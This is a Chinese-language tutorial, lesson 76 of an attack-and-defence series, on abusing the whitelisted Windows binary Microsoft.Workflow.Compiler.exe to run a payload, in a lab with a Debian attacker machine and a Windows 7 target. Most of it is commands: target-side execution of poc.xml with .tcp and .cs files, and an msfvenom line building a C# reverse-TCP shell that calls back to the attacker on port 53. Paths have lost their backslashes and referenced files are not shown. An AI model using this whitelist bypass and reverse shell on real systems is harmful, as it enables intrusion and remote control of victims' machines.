第七十六課：基于白名單Compiler.exe執(zhí)行payload第六季
專注APT攻擊與防御

注:請多喝點(diǎn)熱水或者涼白開,身體特別重要。
說明:Microsoft.Workflow.Compiler.exe所在路徑?jīng)]有被系統(tǒng)添加PATH環(huán)境變量中,因此,Microsoft.Workflow.Compiler命令無法識(shí)別。
基于白名單Microsoft.Workflow.Compiler.exe配置payload:
Windows 7 默認(rèn)位置:
C:WindowsMicrosoft.NETFrameworkv4.0.30319Microsoft.Workflow.Compiler.exe
C:WindowsMicrosoft.NETFramework64v4.0.30319Microsoft.Workflow.Compiler.exe
攻擊機(jī):192.168.1.4 Debian
靶機(jī): 192.168.1.3 Windows 7
配置攻擊機(jī)msf:
靶機(jī)執(zhí)行:
1 C:WindowsMicrosoft.NETFrameworkv4.0.30319Microsoft.Workflow.Compiler.exe poc.xml Micropoor.tcp
結(jié)合meterpreter:
注:payload.cs需要用到System.Workflow.Activities
靶機(jī)執(zhí)行:
1 C:WindowsMicrosoft.NETFramework64v4.0.30319Microsoft.Workflow.Compiler.exe poc.xml Micropoor_rev1.cs
配置攻擊機(jī)msf:
payload生成:
1 msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐f csharp
